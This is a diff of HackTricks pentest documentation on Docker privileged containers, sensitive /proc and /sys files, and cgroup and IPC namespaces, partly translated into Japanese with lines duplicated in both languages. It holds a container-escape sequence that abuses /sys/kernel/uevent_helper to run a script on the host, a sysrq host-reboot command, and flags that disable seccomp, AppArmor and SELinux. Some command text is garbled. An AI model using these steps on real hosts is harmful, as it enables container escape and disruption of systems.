- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録できます。
- `/proc/sys/fs/binfmt_misc/register` が書き込み可能な場合、特権昇格やルートシェルアクセスにつながる可能性があります。
- 関連するエクスプロイトと説明:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 詳細なチュートリアル: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
#### **`/proc/config.gz`**
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled.
- Useful for attackers to identify vulnerabilities in the running kernel.
- `CONFIG_IKCONFIG_PROC` が有効な場合、カーネル設定を明らかにする可能性があります。
- 実行中のカーネルの脆弱性を特定するために攻撃者にとって有用です。
#### **`/proc/sysrq-trigger`**
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
- **Rebooting Host Example**:
- Sysrq コマンドを呼び出すことができ、即座にシステムを再起動したり、他の重要なアクションを引き起こす可能性があります。
- **ホストを再起動する例**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
```
```bash
echo b > /proc/sysrq-trigger # ホストを再起動
```
#### **`/proc/kmsg`**
- Exposes kernel ring buffer messages.
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
- カーネルリングバッファメッセージを公開します。
- カーネルエクスプロイト、アドレスリーク、機密システム情報の提供に役立ちます。
#### **`/proc/kallsyms`**
- Lists kernel exported symbols and their addresses.
- Essential for kernel exploit development, especially for overcoming KASLR.
- Address information is restricted with `kptr_restrict` set to `1` or `2`.
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- カーネルがエクスポートしたシンボルとそのアドレスをリストします。
- KASLR を克服するためのカーネルエクスプロイト開発に不可欠です。
- アドレス情報は `kptr_restrict` が `1` または `2` に設定されている場合、制限されます。
- 詳細は [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) にあります。
#### **`/proc/[pid]/mem`**
- Interfaces with the kernel memory device `/dev/mem`.
- Historically vulnerable to privilege escalation attacks.
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- カーネルメモリデバイス `/dev/mem` とインターフェースします。
- 歴史的に特権昇格攻撃に対して脆弱です。
- 詳細は [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) にあります。
#### **`/proc/kcore`**
- Represents the system's physical memory in ELF core format.
- Reading can leak host system and other containers' memory contents.
- Large file size can lead to reading issues or software crashes.
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
- システムの物理メモリを ELF コア形式で表します。
- 読み取りはホストシステムや他のコンテナのメモリ内容を漏洩させる可能性があります。
- 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。
- 詳細な使用法は [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) にあります。
#### **`/proc/kmem`**
- Alternate interface for `/dev/kmem`, representing kernel virtual memory.
- Allows reading and writing, hence direct modification of kernel memory.
- カーネル仮想メモリを表す `/dev/kmem` の代替インターフェースです。
- 読み取りと書き込みが可能で、カーネルメモリの直接変更を許可します。
#### **`/proc/mem`**
- Alternate interface for `/dev/mem`, representing physical memory.
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
- 物理メモリを表す `/dev/mem` の代替インターフェースです。
- 読み取りと書き込みが可能で、すべてのメモリの変更には仮想アドレスを物理アドレスに解決する必要があります。
#### **`/proc/sched_debug`**
- Returns process scheduling information, bypassing PID namespace protections.
- Exposes process names, IDs, and cgroup identifiers.
- プロセススケジューリング情報を返し、PID 名前空間の保護を回避します。
- プロセス名、ID、および cgroup 識別子を公開します。
#### **`/proc/[pid]/mountinfo`**
- Provides information about mount points in the process's mount namespace.
- Exposes the location of the container `rootfs` or image.
- プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。
- コンテナの `rootfs` またはイメージの場所を公開します。
### `/sys` Vulnerabilities
#### **`/sys/kernel/uevent_helper`**
- Used for handling kernel device `uevents`.
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers.
- **Example for Exploitation**: %%%bash
- カーネルデバイスの `uevents` を処理するために使用されます。
- `/sys/kernel/uevent_helper` への書き込みは、`uevent` トリガー時に任意のスクリプトを実行する可能性があります。
- **悪用の例**: %%%bash
#### Creates a payload
#### ペイロードを作成
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container
#### コンテナの OverlayFS マウントからホストパスを見つける
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper
#### 悪意のあるヘルパーに uevent_helper を設定
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent
#### uevent をトリガー
echo change > /sys/class/mem/null/uevent
echo change > /sys/class/mem/null/uevent
#### Reads the output
#### 出力を読み取る
cat /output %%%
cat /output %%%
#### **`/sys/class/thermal`**
- Controls temperature settings, potentially causing DoS attacks or physical damage.
- 温度設定を制御し、DoS 攻撃や物理的損傷を引き起こす可能性があります。
#### **`/sys/kernel/vmcoreinfo`**
- Leaks kernel addresses, potentially compromising KASLR.
- カーネルアドレスを漏洩させ、KASLR を危険にさらす可能性があります。
#### **`/sys/kernel/security`**
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.
- `securityfs` インターフェースを持ち、AppArmor のような Linux セキュリティモジュールの設定を許可します。
- アクセスにより、コンテナがその MAC システムを無効にする可能性があります。
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
#### **`/sys/firmware/efi/vars` と `/sys/firmware/efi/efivars`**
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
- NVRAM 内の EFI 変数と対話するためのインターフェースを公開します。
- 誤設定や悪用により、ラップトップがブリックされたり、ホストマシンが起動不能になる可能性があります。
#### **`/sys/kernel/debug`**
- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.
- `debugfs` はカーネルへの「ルールなし」のデバッグインターフェースを提供します。
- 制限のない性質のため、セキュリティ問題の歴史があります。
### References
@ -175,8 +171,4 @@ This directory permits access to modify kernel variables, usually via `sysctl(2)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

92
src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
View File

@ -2,28 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## What Affects
## 影響するもの
When you run a container as privileged these are the protections you are disabling:
特権コンテナを実行すると、これらの保護が無効になります：
### Mount /dev
### /devのマウント
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
特権コンテナでは、すべての**デバイスが`/dev/`でアクセス可能です**。したがって、ホストのディスクを**マウント**することで**エスケープ**できます。
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="特権コンテナ内"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{{#endtab}}
{{#endtabs}}
### Read-only kernel file systems
### 読み取り専用カーネルファイルシステム
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
カーネルファイルシステムは、プロセスがカーネルの動作を変更するためのメカニズムを提供します。しかし、コンテナプロセスに関しては、カーネルに対して変更を加えることを防ぎたいと考えています。したがって、カーネルファイルシステムをコンテナ内で**読み取り専用**としてマウントし、コンテナプロセスがカーネルを変更できないようにします。
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{{#endtab}}
{{#endtabs}}
### Masking over kernel file systems
### カーネルファイルシステムのマスキング
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
**/proc**ファイルシステムは選択的に書き込み可能ですが、セキュリティのために、特定の部分は**tmpfs**で覆われており、コンテナプロセスが機密領域にアクセスできないようにしています。
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
> [!NOTE] > **tmpfs**は、すべてのファイルを仮想メモリに保存するファイルシステムです。tmpfsはハードドライブ上にファイルを作成しません。したがって、tmpfsファイルシステムをアンマウントすると、その中に存在するすべてのファイルは永遠に失われます。
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="特権コンテナ内"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{{#endtab}}
{{#endtabs}}
### Linux capabilities
### Linuxの能力
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
コンテナエンジンは、デフォルトでコンテナ内で何が行われるかを制御するために、**限られた数の能力**でコンテナを起動します。**特権**のあるものは、**すべての** **能力**にアクセスできます。能力について学ぶには、次を読んでください：
{{#ref}}
../linux-capabilities.md
{{#endref}}
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="デフォルトコンテナ内"}}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...]
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="特権コンテナ内"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...]
```
{{#endtab}}
{{#endtabs}}
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
コンテナに対して利用可能な機能を、`--privileged` モードで実行せずに `--cap-add` および `--cap-drop` フラグを使用して操作できます。
### Seccomp
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
**Seccomp** は、コンテナが呼び出すことができる **syscalls** を **制限** するのに役立ちます。デフォルトの seccomp プロファイルは、docker コンテナを実行する際にデフォルトで有効ですが、特権モードでは無効になります。Seccomp について詳しくはこちらをご覧ください：
{{#ref}}
seccomp.md
@ -142,100 +126,86 @@ seccomp.md
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 2
Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 0
Seccomp_filters: 0
```
{{#endtab}}
{{#endtabs}}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
また、**Kubernetes** クラスターで Docker（または他の CRI）が使用されるとき、**seccomp フィルターはデフォルトで無効**になっていることに注意してください。
### AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled.
**AppArmor** は、**コンテナ** を **制限された** **リソース** の **プログラムごとのプロファイル** に制限するためのカーネル拡張です。 `--privileged` フラグを使用して実行すると、この保護は無効になります。
{{#ref}}
apparmor.md
{{#endref}}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
`--privileged` フラグを使用してコンテナを実行すると、**SELinux ラベル**が無効になり、コンテナエンジンのラベル、通常は `unconfined` を継承し、コンテナエンジンと同様の完全なアクセスを許可します。ルートレスモードでは `container_runtime_t` が使用され、ルートモードでは `spc_t` が適用されます。
{{#ref}}
../selinux.md
{{#endref}}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## 影響を受けないもの
## What Doesn't Affect
### ネームスペース
### Namespaces
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
ネームスペースは **`--privileged`** フラグの影響を **受けません**。セキュリティ制約が有効になっていないにもかかわらず、例えば **システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは **`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`** コンテナエンジンフラグを使用して個々のネームスペースを無効にできます。
{{#tabs}}
{{#tab name="Inside default privileged container"}}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 ps -ef
1 root 0:00 sh
18 root 0:00 ps -ef
```
{{#endtab}}
{{#tab name="Inside --pid=host Container"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...]
```
{{#endtab}}
{{#endtabs}}
### User namespace
### ユーザー名前空間
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しませんが、rootlessコンテナはファイルシステムのマウントや複数のUIDを使用するためにそれを必要とします。** ユーザー名前空間はrootlessコンテナに不可欠であり、無効にすることはできず、特権を制限することでセキュリティを大幅に向上させます。
## References
## 参考文献
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)

16
src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
View File

@ -1,44 +1,44 @@
# Namespaces
# ネームスペース
{{#include ../../../../banners/hacktricks-training.md}}
### **PID namespace**
### **PID ネームスペース**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount namespace**
### **マウント ネームスペース**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Network namespace**
### **ネットワーク ネームスペース**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC Namespace**
### **IPC ネームスペース**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS namespace**
### **UTS ネームスペース**
{{#ref}}
uts-namespace.md
{{#endref}}
### Time Namespace
### タイム ネームスペース
{{#ref}}
time-namespace.md
{{#endref}}
### User namespace
### ユーザー ネームスペース
{{#ref}}
user-namespace.md

66
src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
View File

@ -2,90 +2,80 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O.
cgroup 名前空間は、**名前空間内で実行されているプロセスのための cgroup 階層の隔離を提供する** Linux カーネルの機能です。cgroups（制御グループの略）は、CPU、メモリ、I/O などの**システムリソースに対する制限を管理および強制するためにプロセスを階層的なグループに整理する**ことを可能にするカーネル機能です。
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces.
cgroup 名前空間は、以前に議論した他の名前空間タイプ（PID、マウント、ネットワークなど）とは異なる独立した名前空間タイプではありませんが、名前空間の隔離の概念に関連しています。**Cgroup 名前空間は cgroup 階層のビューを仮想化し**、cgroup 名前空間内で実行されているプロセスは、ホストや他の名前空間で実行されているプロセスとは異なる階層のビューを持ちます。
### How it works:
### 仕組み:
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup.
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree.
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves.
1. 新しい cgroup 名前空間が作成されると、**作成プロセスの cgroup に基づいた cgroup 階層のビューから始まります**。これは、新しい cgroup 名前空間内で実行されるプロセスが、作成プロセスの cgroup に根ざした cgroup サブツリーに制限された、全体の cgroup 階層のサブセットのみを表示することを意味します。
2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から、自分の cgroup がルートとして表示され、他のサブツリーの外にある cgroups を見ることもアクセスすることもできないことを意味します。
3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム（例: cpu、memory など）自体によって依然として強制されます。
For more information about CGroups check:
CGroups に関する詳細情報は次を確認してください:
{{#ref}}
../cgroups.md
{{#endref}}
## Lab:
## ラボ:
### Create different Namespaces
### 異なる名前空間を作成する
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てできません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス（「unshare」プロセスと呼ばれる）は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **Consequence**:
2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解決策**：
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### Find all CGroup namespaces
### すべてのCGroup名前空間を見つける
```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an CGroup namespace
### CGroupネームスペースに入る
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
また、**ルートでない限り、他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**（例えば、`/proc/self/ns/cgroup`のように）。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`).
## References
## 参考文献
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

66
src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
View File

@ -2,83 +2,72 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups.
IPC（Inter-Process Communication）名前空間は、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトの**隔離**を提供するLinuxカーネルの機能です。この隔離により、**異なるIPC名前空間のプロセスは互いのIPCオブジェクトに直接アクセスしたり、変更したりできない**ため、プロセスグループ間のセキュリティとプライバシーが追加されます。
### How it works:
### 仕組み:
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default.
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace.
1. 新しいIPC名前空間が作成されると、**完全に隔離されたSystem V IPCオブジェクトのセット**から始まります。これは、新しいIPC名前空間で実行されるプロセスが、デフォルトで他の名前空間やホストシステムのIPCオブジェクトにアクセスしたり干渉したりできないことを意味します。
2. 名前空間内で作成されたIPCオブジェクトは、その名前空間内のプロセスにのみ**表示され、アクセス可能**です。各IPCオブジェクトは、その名前空間内で一意のキーによって識別されます。キーは異なる名前空間で同一である可能性がありますが、オブジェクト自体は隔離されており、名前空間を越えてアクセスすることはできません。
3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWIPC`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。
## Lab:
## ラボ:
### Create different Namespaces
### 異なる名前空間を作成する
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです：
1. **Problem Explanation**:
1. **問題の説明**：
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス（「unshare」プロセスと呼ばれる）は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **Consequence**:
2. **結果**：
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
